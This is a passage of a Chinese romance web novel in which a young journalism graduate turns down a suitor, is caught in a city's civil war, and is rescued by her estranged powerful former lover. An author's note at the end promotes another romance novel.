她刚将书本在橡木长桌上摊开,身后便传来一阵克制而轻微的脚步声。 她回过头,恰巧迎上Kenny的目光。他怀里也抱着几册书籍,在看到她的一瞬间,那双天蓝色的眼眸便亮了起来,如同被阳光骤然照亮的浅海。 “下午好,Iris。”他声音放得很轻,“请问……这个位置目前还没有其他人吧?” 陈知念摇摇头,看着他怀里的书。 《航海气象学基础》、《全球洋流分布图》,全是和帆船、海洋相关的内容。 “你也来查资料?”她好奇地问。 “是的,下周有个环岛帆船赛,我需要提前熟悉一下相关的海域资料。”Kenny说着,很自然地在她对面的位置坐下,将怀里的书放在桌上。 书本最上面,露出一本略显突兀的《基础新闻学概论》的一角。 他注意到她的目光,耳根微红,状似随意地将那本新闻学书籍往航海气象学底下塞了塞,解释道:“这个么……只是想,或许也该了解一下你的专业领域。说不定……日后能为你提供一些微不足道的参考。” 他一边说着,一边将属于自己的书本轻轻归拢到桌角一侧,为她留出充足的空间。 “请别在意我,按照你自己的步调来就好。我保证,绝不会打扰到你。” 接下来的一个小时里,图书馆里只有翻书的沙沙声和笔尖划过纸张的轻响。Kenny果然如他所承诺的那般安静,大部分时间都专注于眼前的文字,只在遇到关键处时,才提笔在笔记本上做些记录。他的目光偶尔会抬起,短暂地落在她身上,但那视线是如此的轻柔而克制,如同掠过水面的微风,不曾带来丝毫压力。 陈知念整理完采访笔记,揉了揉发酸的手腕,抬头时正好对上Kenny的目光。 他立刻放下笔,从背包里拿出一个包好的小东西,推给她:“对了,这是食堂今天新推出的蓝莓司康,我听好些人称赞它的味道……不小心多买了一份。如果你不介意的话,愿意帮我尝尝看吗?” 自从上次圣诞聚会陈知念婉拒他后,Kenny只是微微怔了一下,随即露出一个理解的笑容。天蓝色的眼睛里没有丝毫阴霾,反而带着更加清澈的诚意。 “我明白的,Iris,请不要为此事感到任何困扰。” “和你在一起的时间让我觉得很开心。我知道你需要时间和空间来适应这里的一切,没关系,我们可以慢慢来。我只是想让你知道,我会在这里,怀着最大的耐心等待。在你准备好之前,我们就保持这样,好吗?” 从这之后,Kenny总会顺路偶遇她。 下课铃响,陈知念随着人流走出阶梯教室,脑子里还塞满了各种晦涩的术语。 果然,那个熟悉的身影又“恰好”等在了走廊的立柱旁。 Kenny今天穿着一件简单的白色T恤,浅金色的卷发比之前剪短了些,露出光洁的额头和高挺的眉骨。 天蓝色的眼睛看向人流方向时,还带着点无所事事的倦怠,直到捕捉到陈知念的身影,漾起的笑意瞬间放大。 他手里握着两杯饮料,很自然地递过其中一杯给陈知念:“今天是芒果和菠萝混搭的鲜榨果汁,你尝尝,喝过的人都说很棒!” 陈知念接过杯子,抿了一口,芒果的甜混着菠萝的微酸,清爽又解渴,像闷热午后里的一阵凉风。 “很好喝。” “那就好。”Kenny松了口气,“我本来想加一点椰奶的,又怕你不喜欢,就没敢加。” 他说着,挠了挠 头,浅金色的卷发下,耳尖微微泛红,“下周我再试试别的口味,比如草莓和蓝莓的,或者……你有想喝的口味吗?” 这时,几个同是帆船俱乐部的男生勾肩搭背地从旁边经过,看到他们,立刻挤眉弄眼地吹起口哨。 “嘿Kenny!又偶遇成功啦?” “这次是什么特调果汁啊?也请我们尝尝吧!” Kenny的脸一下子红到了脖子根,他有些慌乱地看向陈知念,眼神里带着歉意和一丝紧张,像是生怕这些玩笑会让她感到不适或退缩。 他转身对那群朋友挥了挥手,用带着几分无奈笑意的语气催促他们离开:“好了好了,先生们,适可而止吧!” 那群男生大笑着走远,还不忘回头冲他做鬼脸。 Kenny转回身,不好意思地摸了摸后颈:“请别介意……他们只是些爱闹的家伙,心思并不坏。” “没关系。” 两人沿着走廊慢慢走,Kenny犹豫了片刻,才再次开口:“说起来……我上周在整理环岛帆船赛的海域资料时,偶然发现这附近有一处颇为隐秘的海湾。当地的渔民告诉我,在清晨时分,时常能看到海豚群在那里嬉戏,岸边的细沙上还铺满了各式各样的彩色贝壳。” 他侧过头,目光诚挚地看向她,小心翼翼地提出邀请: “我在想,如果你这个周末恰好有空,是否愿意一同前去看看?或许……可以将它当作一次收集采访素材的出行,我听说常驻在那里的老渔民们肚子里装着许多古老的故事,说不定能为你的新闻稿增添一些独特的色彩。” 为了证实他所言非虚,Kenny从随身的背包里取出一卷细致标注过的地图,在她面前摊开。 陈知念的目光落在地图上那个被红笔精心圈出的海湾位置旁,还附注着一行清晰的小字:最佳观海豚时段—清晨六时至八时。显然,他为此做足了准备。 “好啊。”她轻轻点头。 这句话让Kenny的眼睛瞬间亮了起来,像是晴空下的海面洒满了碎金。他努力想维持平静,可嘴角的弧度却不受控制地扬起,露出两颗尖尖的小虎牙。 “那说定了!” “早上我可以去接你,我知道有个地方的可颂特别好吃,配热可可正好!” 怕陈知念感到唐突,他又补充道:“当然,如果你觉得不方便,我们也可以在海湾入口集合,都听你的。” “不用麻烦,在入口集合就好。” “好!那我们就约定周六早上5点半,在学校门口的面包店见,怎么样?”Kenny立刻敲定时间。 走到图书馆门口时,陈知念停下脚步:“我要进去查点资料,周六见。” “周六见!”Kenny挥挥手,看着她走进图书馆,才转身离开。他走了几步,又忍不住回头看了一眼,掏出手机给帆船俱乐部的朋友发消息【周六的环岛训练我需要请假,清晨要与Iris同往观赏海豚,此事于我而言,十分重要。】 —— 城邦委员会主席的别墅坐落在半山,视野极佳,能将整座城市的繁华尽收眼底。然而此刻,客厅里只留着盏昏暗的落地灯,光线落在冷灰色的大理石地面上,映得空气里都飘着冷意。 陈寅洛坐在真皮沙发上,指尖夹着支燃烧着的雪茄,目光落在茶几上点亮的平板上。 那是一张由曼萨尼约传回的、像素不高的照片。照片上,陈知念正站在图书馆门口,对着一个金发男孩,露出一个温柔明媚的笑。 “这个Kenny据说正在热烈追求陈小姐。在圣诞节的聚会上,还当众献唱向陈小姐表白,不过当时陈小姐婉拒了。” 雪茄在陈寅洛指间转了半圈。 严彬继续道:“周六早上五点半,陈小姐和Kenn在学校门口的面包店集合,一起买了可颂和热可可,然后步行去的海湾。老渔民说,陈小姐全程很认真,一直在记笔记,Kenny在旁边帮着递水、整理资料,两人互动很自然。回来的时候,陈小姐手腕多了个浅粉色的贝壳手链,应该是Kenny送的。” “另外……陈小姐的日常生活很有规律。每周有三天下午,她会去港口边的海螺咖啡馆写作业,通常会点一杯薄荷茶,坐靠窗第二个位置。” “她加入了学校的新闻社,上周独立完成了一篇关于当地渔民生活变迁的短篇报道,获得了教授的好评。” “天气好的傍晚,她会和Kaia,有时也包括Kenny,去中央广场散步。” 陈寅洛没有说话,只是深深吸了一口雪茄,任由浓烈的烟雾在胸腔里辗转、灼烧。随后,他伸出手,用食指将那亮着的平板屏幕,轻轻按熄。 黑色的屏幕,映出他自己模糊而冷硬的轮廓。 “她看起来,很开心?” 严彬谨慎地回答:“从传回的信息看,是这样的。” “知道了。” 他挥了挥手,示意严彬可以离开了。 严彬离开后,陈寅洛放下雪茄,他的目光掠过一排排珍藏,最终停留在Glenfiddich上。 没有犹豫,他取下了它。 他没有找酒杯,而是直接对着瓶口抿了一口。辛辣的酒液滑过喉咙,带着灼烧般的痛感,却奇异地让他混乱的思绪清明了几分,又或者说,是让那些翻涌的情绪,暂时被麻痹在酒精里。 一瓶酒不知不觉见了底大半,雪球摇着尾巴蹦到陈寅洛身上,他一把接住它,拥在怀里。 冷硬的下颌线蹭过它毛茸茸的脑袋,“我是该叫你傻狗,还是该叫你雪球?” 雪球似懂非懂,伸出舌头舔了舔他的下巴。 陈寅洛抱着它,目光落在空旷的客厅中央,像是在对雪球说,又像是在自言自语: “听说,她现在的名字叫Iris。” Iris,这个名字在他舌尖轻轻翻转了几圈,带着说不尽的缱绻与涩然。 酒意渐渐上来了,他抱着雪球躺倒在沙发上。 “Iris……”—— 作者有话说:[爆哭][爆哭][爆哭]HE绝对是HE相信我 第92章 曼萨尼约的午后,热带季风裹挟着咸湿的海风,穿过爬满三角梅的铁艺栏杆,轻轻落在客厅的亚麻布沙发上。 是陈知念一家在曼萨尼约的新家,一栋依山而建的两层小房子,比起陈寅洛送的那栋带私人泳池的滨海别墅,这里的面积不足三分之一,却处处温馨。 玄关处挂着苏婉亲手缝制的布艺挂毯,窗台上摆着陈知念捡回来的贝壳摆件,就连楼梯转角的墙上,都贴满了三年来一家人的生活照。 卧室的抽屉最底层,压着个深棕色丝绒盒子,里面除了崭新的房本,还有一张黑金卡。 房本和卡是离开白塔城之前,严彬送来的。陈知念看过,银行卡里那串冗长的数字,足够买下曼萨尼约几条街的商铺,哪怕挥霍无度,也能一辈子也花不完。 然而陈知念和父亲陈毅衡有着同样的默契——绝不会动用陈寅洛一分一毫。 沙发上,陈毅衡点了 一支烟,面带忧虑:“最近曼萨尼约的局势越来越紧张了,我感觉要不了多久,这个城邦就要发生内乱了。” 苏婉正擦着刚买回来的芒果,闻言手猛地一顿,芒果滚落在案板上,发出沉闷的声响。 “那怎么办,我们好不容易安定下来。”苏婉道。 搬来曼萨尼约三年多,她从一开始吃不惯酸得掉牙的青柠烤鱼,到现在能熟练做出地道的墨西哥卷饼。从在语言学校结结巴巴说西语,到在社区的小书店找到一份整理旧书的工作,每天甚至能和老顾客流畅地聊上几句家常。更让她欣慰的是,女儿不仅适应了这里的生活,还凭着自己的努力拿到了校刊的“最佳新闻毕业生”证书,甚至收到了当地知名报社的录用通知。眼看日子就要踩稳正轨,难道又要被迫离开吗? “对不起,爸爸妈妈,是我考虑不周。” 陈知念自责道,当初为了逃离陈寅洛,她只想着选一个够远的城邦,却忽略了政局稳定的重要性,如今让父母跟着自己担惊受怕,都是自己的错。 陈毅衡没有责怪女儿,反而还安慰道:“当初这个决定是我们全家人一起定下的,不怪任何一个人。” 他抽了一口烟,缓缓道:“念念,还有几天你就要毕业了。毕业典礼过后,我们立刻走。离开这里。” “好。”陈知念没有意见,她想起Kaia说毕业典礼后要去狂欢,想起Kenny说要去航海旅行,想起自己毕业后就可以入职的offer,……这些即将发生的美好,突然都蒙上了一层阴影。 “那爸爸……我们去哪呢。” 陈毅衡揉了揉发胀的太阳穴,“我托老何打听了,隔壁的塞尔比城邦政局稳定,对移民也相对宽松。” “这几天我就去跑移民局,争取在毕业典礼前把材料递上去。” 苏婉走过来,轻轻握住陈知念的手,“没关系的,念念。只要我们一家人在一起,去哪都是家。” —— 洛桑威尔大学的毕业典礼在临海的露天广场举行,彩色气球挂在白色廊柱上,风一吹就轻轻晃动,与毕业生们学士服上的流苏相映成趣。 校长正在台上发表热情洋溢的讲话,赞美着青春、知识与未来的无限可能。 “Iris。”Kenny走到她身边,穿着与她同款的学士服,手里还拿着一顶折叠好的白色遮阳帽,是特意帮她准备的,“别晒太久,海风虽然凉快,紫外线却强。” 三年的时光让他褪去了不少青涩,轮廓更加分明,浅金色的头发在阳光下熠熠生辉。 三年来,他一直保持着恰到好处的距离,像环绕着恒星运转的卫星,热情且稳定地存在于她的轨道里。 陈知念接过那顶柔软的遮阳帽:“谢谢。” 校长的声音传来:“……愿你们如海鸟般,飞向更广阔的世界!” Kenny侧过头,浅蓝色的眼眸藏着隐秘的期待:“毕业后,你愿意跟我一起去航海旅行吗?” “我攒了三年的钱,买了一艘二手帆船,已经检修好了。我们可以从曼萨尼约出发,沿着海岸线往北走,去看瓜达拉哈拉的粉色盐湖,去看巴亚尔塔港的鲸鱼群,晚上就躺在甲板上看星星,听海浪的声音。” “我知道你喜欢写故事,沿途我们可以遇到很多有趣的人。靠海而生的渔民,背着吉他的流浪歌手,守护古老灯塔的老人,他们的故事一定能让你的报道更精彩。” 他从口袋里掏出一张折叠的地图,展开递给她。 那是一张手绘的航海路线图,上面用不同颜色的笔标注了沿途的景点,还有一些小小的备注,地图的右下角,还画着两个小小的简笔画人物,一个浅金色头发,一个黑色头发,手牵着手站在帆船旁,旁边写着一行小字——Iris&Kenny的航海计划。 陈知念垂眸看着那张地图,指尖悬在简笔画人物上方,却迟迟没有落下。 半晌,她后退半步:“对不起,Kenny。” Kenny浅蓝色的眼眸里的光瞬间暗了下去,像被乌云遮住的海面。 她抬眸看他,认真道:“Kenny,你是我遇到过的最温暖、最真诚的人。你的世界像这片海一样,干净、辽阔,充满阳光。” “但是很抱歉,我不能接受你。Kenny,你值得更好的。” Kenny的嘴角牵动了一下,想努力挤出一个理解的笑容,却最终只是无力地垂下肩膀。 “是……是因为我哪里做得不好吗?” “不是你的问题,完全不是。”陈知念赶紧摇头,“是我自己的问题。” 话音落下的瞬间,连她自己都怔住了。 为什么? 为什么在说出这句话时,脑海中会不受控制地闪过一个许久未见的人影。 就在这时,轰——!!! 一声震耳欲聋的爆炸声从港口方向传来,地面剧烈震动。紧接着是密集的枪声,像爆豆般在城中炸开。原本祥和的毕业典礼现场顿时陷入混乱,尖叫声四起。 “Iris!”Kenny的声音瞬间变得紧张,他立刻转身,一把将陈知念拉到自己身后,用身体紧紧护住她,“是城中心!叛军和政府军交火了!” 他坚定地说:“别害怕,跟我来,我知道安全屋的位置!” 陈知念被Kenny拽着往前跑,脚下的学士帽被混乱的人群踢得翻滚,视线里满是慌乱逃窜的身影。 地面还在持续震动,像被巨兽啃咬着地基,广场边缘的白色廊柱“咔嚓”一声断裂,带着顶端的彩色气球轰然倒塌,扬起的尘土瞬间弥漫了整个天空,将原本湛蓝的海面遮得严严实实。 “低头!别抬头!”Kenny突然将她的头按在自己胸前,同时猛地往旁边扑倒。两人刚滚到一辆废弃的观光车底下,一颗流弹就擦着车顶飞过,砰地打在旁边的路灯上。 陈知念趴在地面上,能听到自己剧烈的心跳,还有远处持续不断的爆炸声。 那声音比她在新闻里听到的任何灾难现场都要近,震得耳膜生疼,连牙齿都在微微打颤。 她透过观光车的底盘缝隙往外看,港口方向的浓烟已经冲上云霄,黑色的烟柱像一只狰狞的手,死死掐住了曼萨尼约的天空。原本停靠在岸边的白色游艇,此刻有几艘已经燃起大火,橘红色的火苗舔舐着船身,伴随着轰隆的爆炸声。 “抓紧我,我们要穿过前面的商业街!”Kenny的声音带着喘息,他小心翼翼地探出头观察了几秒,立刻拉着陈知念从车底钻出来,朝着广场后方的商业街狂奔。 商业街早已没了往日的热闹,橱窗玻璃被震得粉碎,商品散落一地,几个来不及撤离的店主蜷缩在柜台底下,双手抱头瑟瑟发抖。一家面包店的招牌被流弹击中,“哐当”一声砸在地上,正好落在离他们两步远的地方。 “小心!” Kenny突然将她往旁边一拉,紧接着,一颗炮弹落在不远处的十字路口,一声巨响过后,地面裂开一道深深的沟壑,旁边的一栋两层小楼瞬间坍塌,砖块和水泥块像雨点般落下。陈知念被冲击波掀得踉跄了几步,幸好Kenny及时扶住她,才没有摔倒。 陈知念被他半抱着拽起,碎石和粉尘扑了满脸,呛得她一阵猛咳。耳朵里还在嗡嗡作响,刚才那发炮弹的巨响几乎让她暂时失聪,世界变得模糊而遥远,只有心脏擂鼓般的跳动声异常清晰。 这不是电影里的场景,也不是新闻里的画面,而是真实发生在眼前的残酷。 断壁残垣,血流成河,曾经鲜活的生命在战火中变得不堪一击。 “安全屋就在前面的教堂地下室!再坚持一下!”Kenny的声音已经沙哑,他的额头渗满了汗水,脸上沾着尘土,浅金色的头发被硝烟染成了灰色,却依旧紧紧攥着陈知念的手,没有丝毫放松。 他们穿过一条布满瓦砾的小巷,终于看到了不远处的教堂。教堂的尖顶已经被炮弹炸掉了一半,彩色玻璃窗碎了一地,门口站着几个志愿者,正在引导难民进入地下室。 “快!这边!”一个志愿者看到他们,立刻挥手喊道。 Kenny拉着陈知念跑过去,刚要进入地下室,突然听到身后传来一阵熟悉的呼喊:“Iris!陈知念!” 陈知念猛地回头,看到满身尘土、头发杂乱的苏婉正从人群中冲出来。 “念念! 你没事吧?你有没有受伤?”苏婉跑到她面前,一把抓住她的肩膀,双手因为用力而微微颤抖,目光在她身上反复打量,从头发到鞋子,生怕错过任何一处伤口。 “妈妈!”陈知念泪水夺眶而出,积压了一路的恐惧和担忧就像决堤的洪水,她扑进母亲的怀抱,“刚才……刚才有炮弹在我旁边爆炸……我以为我要死了……我还以为……再也见不到你和爸爸了……” 她之前一直强撑着,告诉自己要冷静,要跟着Kenny找到安全屋,可在看到母亲的那一刻,所有的坚强都土崩瓦解。她只是一个渴望被保护的孩子,在残酷的战乱面前,渺小得像一粒尘埃。 就在这时,一阵更加密集和接近的枪声在街□□响,伴随着装甲车履带碾过路面的沉重轰鸣。显然,交火正在向这个区域蔓延。 “快!所有人都进地下室!快!” Kenny立刻上前,语气急促但清晰:“阿姨,我们必须立刻进去!这里太危险了!” 他们顺着狭窄陡峭的石阶向下,进入了教堂的地下室。 这里挤满了避难的人们,男男女女,老老少少,每一个人的脸上都写满了惊恐、茫然。孩子们蜷缩在父母怀里,女人们低声啜泣着,或用颤抖的声音祈祷。男人们则大多沉默着,紧握着手,或警惕地听着门外的动静。 角落里,一位老神父正跪在简陋的祭坛前,手握十字架,用颤抖而虔诚的声音带领着一些人祷告。 陈知念被母亲紧紧搂着,在Kenny的引导下,找到一个靠近墙壁的角落坐下。 这里真的安全吗?那扇门能挡住炮弹吗?爸爸现在在哪里?他们还能平安离开吗? 无数个问题在她脑海中盘旋。 她背靠着墙壁,掏出手机,屏幕已经被摔得粉碎,无法开机。 良久,她才缓缓放下手机。 有的电话,也许永远都无法拨出去。 第93章 白塔城,城邦委员会主席办公室。 “叩叩——” 严彬等不及里面回应,便推门而入,他的步伐十分急促。 “什么事?”陈寅洛目光仍沉浸在电脑屏幕上。 “洛哥,半个小时前曼萨尼约爆发全面内战,叛军和政府军已经在城中心展开巷战。更糟的是……我们的情报网刚刚截获了叛军的加密通讯,他们正在执行焦土策略,系统性轰炸所有疑似庇护所,包括教堂、医院、学校这些平民聚集的地方。” 陈寅洛黑沉的眸光从屏幕移开,眼底的情绪匮乏到几近虚无:“她在哪。” 严彬的喉结滚动了一下,递上手中的平板,上面显示着卫星传来的热成像图和情报摘要,曼萨尼约的城区地图正以三维形式展开,红色标记点不断闪烁,代表着叛军控制的区域。 “根据最后传回来的定位信息,陈小姐就在城西的圣保罗教堂。在……叛军最新的轰炸清单里。” 严彬的话音落下,办公室里陷入了死一般的寂静。 陈寅洛的目光落在平板上,那不断闪烁的红色标记,像毒蛇的信子,舔舐着地图上那个代表着圣保罗教堂的微小光点。 —— 圣保罗教堂地下室的水泥顶塌下来的那一刻,陈知念以为自己要死了。 剧烈的爆炸声震得她耳膜出血,碎石像冰雹一样砸在背上,苏婉用身体紧紧护着她,嘶吼声被淹没在崩塌的轰鸣声里。昨天还能勉强遮风挡雨的地下室,在叛军一轮迫击炮轰炸后,成了堆满瓦砾的废墟。 有志愿者被埋在碎石下,只露出一只沾满血的手。那个抱着孩子的女人哭着扒开石块,却只找到孩子冰冷的尸体。 “这里不能呆了!快走!”Kenny在一片混乱和尘土中嘶吼,左手死死抓着陈知念,右手搀扶着几乎吓傻的苏婉,随着幸存的人流,从另一个狭窄的应急出口连滚带爬地逃出了这座正在崩塌的庇护所。 外面的世界已是炼狱。昔日色彩斑斓的建筑外墙布满弹孔,街道上散落着玻璃碎片和燃烧的汽车残骸,空气中弥漫着硝烟和某种东西烧焦的臭味。他们贴着墙根,躲避着流弹,试图寻找新的藏身之处。 Kenny凭借对地形的熟悉,带领他们躲进了一栋距离教堂不远印刷厂办公楼。楼体也有损伤,但结构尚且完整。他们瘫倒在二楼的一间杂物室里,精疲力尽。 “妈,您还好吗?”陈知念扶着苏婉坐在一块破旧的垫子上,苏婉的额头还在渗血,那是昨天被砸下来的碎块划伤的,现在又添了几道新的伤痕。 苏婉摇摇头,从怀里掏出装着半块干硬的面包,这是她们从教堂废墟里找到的唯一食物。 “念念,你吃点。”她把面包递到陈知念嘴边。 陈知念看着母亲递到嘴边的面包,喉咙干涩得发痛,胃里因长久的饥饿泛起一阵酸水。 她轻轻推开母亲的手,声音嘶哑:“妈,您吃,我不饿。” 这显然是谎言。28小时的颠沛流离,12小时的滴水未进,她的身体早已到了极限。但看着母亲额角渗血的伤口和更加憔悴的面容,她怎么可能咽得下这最后半块救命的食物。 苏婉还想说什么,却被一阵剧烈的咳嗽打断,她虚弱地靠在墙上,喘着气。陈知念连忙轻拍她的背,心里的恐慌如同潮水般上涨。 没有水,没有药,母亲的状况正在恶化,这样下去,她们都会死在这。 Kenny靠在门边,警惕地听着外面的动静。他的嘴唇也干裂起皮,受伤的手臂无力地垂着,但眼神依旧保持着警觉。 他哑声说:“你们休息,我守着。晚一点我出去看看,天亮前,我们必须想办法找到水。” 然而,寂静并未持续多久。 楼下突然传来沉重的脚步声,夹杂着粗鲁的叫嚷和东西被砸碎的声音。 有人在上楼! Kenny脸色骤变,猛地起身,用身体抵住杂物室单薄的门板,对陈知念做了一个噤声的手势。 心脏瞬间提到了嗓子眼。陈知念紧紧捂住嘴,另一只手揽住瑟瑟发抖的母亲,屏住呼吸。 脚步声越来越近,伴随着肆无忌惮的狂笑,听起来不止一个人。 “砰!”隔壁房间的门被狠狠踹开。 接着,是他们这间杂物室的门把手被粗暴地转动! “锁着的?”一个粗狂的声音响起。 “砸开!看看里面藏了什么好东西!” 重击声落在门板上,木屑飞溅。单薄的门板发出不堪重负的呻吟。 Kenny用尽全身力气顶住门,额头上青筋暴起,但谁都清楚,这抵挡不了多久。 他的脸涨得通红,受伤的手臂因为过度用力而微微颤抖,冷汗顺着他的额角往下淌,浸湿了沾着尘土的浅金色头发。他死死抵着门板:“Iris,带着阿姨往后退!快!” 陈知念浑身发抖,却还是立刻扶着苏婉往杂物室最里面的角落退去。 苏婉的脸色比刚才更苍白,她不怕死,却怕连累女儿,怕她们母女俩连最后一面都没来得及和陈毅衡见上。 “砰!哗啦——” 门板终于不堪 重负,彻底被踹碎。几个端着冲锋枪、面目狰狞的叛军冲了进来,为首的那个枪口扫过蜷缩在角落的陈知念母女,又落在抵着门框的Kenny身上,恶狠狠地笑:“还想拦着我们?找死!” 他抬起枪托,狠狠砸向Kenny的肩膀。Kenny闷哼一声,踉跄着后退几步,受伤的手臂被撞得剧痛,几乎抬不起来。他咬着牙还想再冲上去,却被另一个叛军揪住衣领,狠狠摔在地上,枪托一下下砸在他的背上,很快Kenny就被砸得口吐鲜血,意识模糊。 “别打了!”陈知念尖叫着想要冲过去,却被苏婉死死拉住。苏婉摇着头,眼泪无声地滑落——她们现在冲上去,只会白白送命。 为首的叛军转过身,目光落在陈知念身上,露出惊艳:“哇哦,美丽的东方女孩,我喜欢。” 他说着,就伸手去抓陈知念的胳膊。 陈知念拼命往后躲,却被他一把揪住手腕,粗糙的手掌像铁钳一样,捏得她生疼。 “放开我!你放开!” 苏婉扑过来,抱住叛军的胳膊,哭喊着:“别抓我女儿!要抓就抓我!我跟你们走!” “老东西,滚开!”叛军嫌恶地一脚踹开苏婉,苏婉重重摔在地上。 “妈!”陈知念疯了一样想要扑过去,却被叛军死死拽着。 她眼睁睁看着苏婉像片落叶一样摔在地上,额头撞在木箱棱角上的瞬间,一道血痕迅速蔓延开来,人随即软软地倒在地上,再没了动静。 如果不是她当初选择了曼萨尼约这个政局动荡的城邦,父母就不会跟着她颠沛流离。如果不是她,父母此刻应该安稳地生活在故乡,而不是陪她经历这战乱之苦。 都是她的错。 “你们这些畜生!刽子手!放开我!”她疯狂地踢打、撕咬,指甲深深抠进叛军的手臂,划出血痕。 然而她的反抗,在绝对的力量差距面前,只是徒劳。 就在这时,一阵密集的枪声突然从杂物室门外传来。 正在把陈知念往外拽的叛军动作一顿,眉心紧紧蹙了起来。紧接着,门外传来叛军的惨叫和重物倒地的声音,吓得室内的两个叛军瞬间慌了神,举着枪对着门口,手都在发抖。 “谁?谁在外面?” 叛军头目声音发颤,色厉内荏地朝着门口吼叫,枪口胡乱地指着那片漆黑的门口。 陈知念的心跳快得要冲出胸腔,太阳穴突突直跳。她不知道来的是谁,是另一伙更凶残的叛军?还是在战火里专挑难民下手的匪徒? 脚步声在门外停住。 紧接着,一道低沉、冰冷、不带任何感情色彩的男声穿透黑夜。 “里面的人,放下武器。” 然而这道声音似乎只是为了吸引注意力,与此同时,两道轻响,两个拳头大小的圆柱体带着轻微的嘶嘶声,被精准地抛掷进来,“哐当”落在地面,滚到叛军脚边。 是闪光弹! “闭眼!” 叛军头目只来得及发出一声扭曲的嘶吼,但那警告为时已晚,刺眼欲盲的炽烈白光如同太阳在狭小的杂物室内炸开,视觉被彻底剥夺。 陈知念只觉得眼前一黑,随即被一片灼热的白芒吞噬,哪怕下意识地紧闭双眼,眼皮都挡不住那穿透性的光亮,眼球像被火烧一样疼。 她失去了所有方向感,天旋地转,身体不受控制地向后踉跄,却没等来预想中的摔倒。 一双手臂坚定而有力地从侧面稳稳地托住了她下坠的身体。 混乱中,她能模糊地感觉到周围有急促的脚步声掠过,伴随着几声轻微的“噗噗”声,紧接着,是重物倒地的闷响,一下,两下。 不知过了多久,眼前的白光终于渐渐褪去,取而代之的是一片片黑色的光斑,在视野里晃来晃去。 “检查现场。” “确认目标安全。” 陈知念的视觉开始缓慢恢复,刺眼的白光褪去,模糊的色块和轮廓逐渐凝聚。 首先映入眼帘的,是倒在地上一动不动的叛军身影。然后是几个穿着黑色作战服的人,他们戴着夜视仪和面罩,正手持加装消音器的武器,利落地检查着每一具尸体,确保威胁彻底消除。 最让她心脏骤停的,是扶着她的那个人。 他比其他队员更高大,站姿挺拔如松,哪怕穿着和其他人一样的作战服,那股深植于骨的压迫感也让他如同鹤立鸡群。 似乎察觉到她的目光,他缓缓转过头,透过夜视仪的镜片,目光精准地落在她脸上。 陈知念的呼吸瞬间停滞。 哪怕隔着镜片,哪怕视野依旧模糊,她也绝不会错认那双眼睛的主人—— “陈寅洛……”—— 作者有话说:这两章我真的卡到爆炸,太难写了太难写了 顺便推一下接档文点击专栏可看 继子回国那天,安冉在机场等了四个小时。 “四太,大少爷……半个小时前已经离开机场了。” 她垂眸,安静地拢了衣领,遮住被冷气侵蚀的脖颈:“走吧。” 而此时,某顶级会所。 “琛哥,你这也太不给面子了,人家好歹是专程去接你的。” 男人嘴里斜叼着烟,喧嚣的光影掠过他俊美浪荡的脸。 “她也配?” * 凌晨,这位喝得烂醉的桀骜继子终于归家。 论辈分,安冉是长辈,总该多些分寸和大度。于是她吩咐厨房煮了醒酒汤,亲自端去。 见了她,床上的人露出点醉鬼酣然的笑意,“小妈半夜不睡觉…往我房里钻?” 安冉将醒酒汤推得近些:“喝完再睡,免得难受。” 男人支起身靠近,兀自用两指牵出她衣领的几缕发丝。 安冉防备后撤,发丝却被绕紧绷直,退无可退。 他眼眸顽劣幽灼,语调似嘲似笑: “……刚和我爸亲热过?” * 后来,丈夫突发心梗,溘然长逝。谢聿琛以雷霆手段肃清内部,成为集团新的掌舵人。 安冉处境尴尬,决意离开。 离开前的暴雨夜,她被堵在空无一人的老宅,桀亮的眼眸逼近。 “老的死了,要不要考虑找个年轻的?” “放心,我肯定比我爸…能干,不让小妈守寡。” 安冉一巴掌甩去,愤然拒绝。他却晒然一笑: “你那个好弟弟,又欠了一笔新债。” “你说,我是帮他平账,还是…送他进去?” 第94章 陈寅洛的目光快速扫过她全身,确认只是受了惊吓没有受伤后,随即放开了手。 他什么也没说,转身朝门外走。 立刻有两名队员无声上前,一人小心地背起昏迷的苏婉,另一人架起意识模糊的Kenny。这时,一个身材魁梧同样穿着作战服的男人走近,微微压低声音,“陈小姐,我是雷子。跟我们走吧。” 陈知念像是什么也没有听见,视线紧紧跟随着那个即将消失在门口的身影。 曼萨尼约跟白塔城的直线距离是一万五千公里,即便是最先进的私人飞机以极限速度直飞,也需要连续航行超过十五个小时。 而曼萨尼约现在乱成一锅粥,叛军封锁了主干道,到处都是逃难的平民,想要从这么多分散的庇护所、这么多难民中精准找到她,堪比在翻涌的大海里捞一根针。 可他做到了。从曼萨尼约爆发战乱,到他出现在这个杂物室,仅仅用了28个小时。 这28个小时里,他要跨越一万五千公里的距离,要突破叛军的层层封锁,要在战火中找到她的定位,还要避开随时可能出现的流弹和迫击炮…… 陈知念的心像被什么狠狠揪紧了,快要喘不过气。 眼看那身影即将消失在转角,她也不知道哪来的力气,拼了命地追出去,在昏暗的走廊里朝着那个背影嘶声喊道: “陈寅洛!” 他的脚步应声顿住,却没有立即回头。 陈知念跑到他身后几步远的地方,停下,胸口剧烈起伏,千言万语堵在喉咙里,却一句也问不出口——你为什么来?你怎么找到这里的?你要去哪里? 最终,所有翻腾的情绪只化作一句忐忑地问句。 “你……你就没什么要对我说的吗?” 战术面罩完全遮蔽了男人的面容,连一丝轮廓都未曾泄露,就连眼底的些许幽沉都不可见。他闻言,只是微微侧过头,“ 说什么?” 低沉、泠洌、富有磁性。 三年半,一千二百多个日夜。 原来她已经这么久没听到过这个声音了。 眼泪不知不觉就糊了满脸,她倔强地走近,仰头看他:“陈寅洛……其实你都是骗我的对不对?” 她紧紧攥住他的眼眸,一字一句道:“你说玩够了,要和我一拍两散都是骗我的,对不对?” 夜视仪下,陈寅洛好看的眉峰轻轻蹙起,隆起的眉骨皱成了川字。 远处传来一阵密集的枪声,还隐约夹杂着爆炸声,他的耳朵下意识地捕捉着声音的来源,大脑飞速判断着叛军的移动方向。 他真的不知道女人这种生物脑子里在想什么,这个时候居然还在纠结这种毫无意义的问题。 是不是骗人的,难道还不够明显吗? 如果真如当初所言“玩够了”,他何必跨越一万五千公里的距离,顶着枪林弹雨来找她? 现在不是说这个的时候,他是带着精锐小队秘密潜入的,大规模撤侨行动还没启动。此刻若是遇上任何一方武/装力量,都会引发不可控的交火。 就在这时,雷子的声音从走廊另一端传来:“洛哥!叛军往这边来了!我们必须马上走!” 几乎是同时,杂乱的脚步声和叫嚷声在他们刚才停留的走廊另一端响起,叛军已经发现了这里的异常。 “刚刚就是这里有枪声!去看看!” 陈寅洛眼神一凛,当机立断攥紧陈知念的手腕:“走!” “砰——” 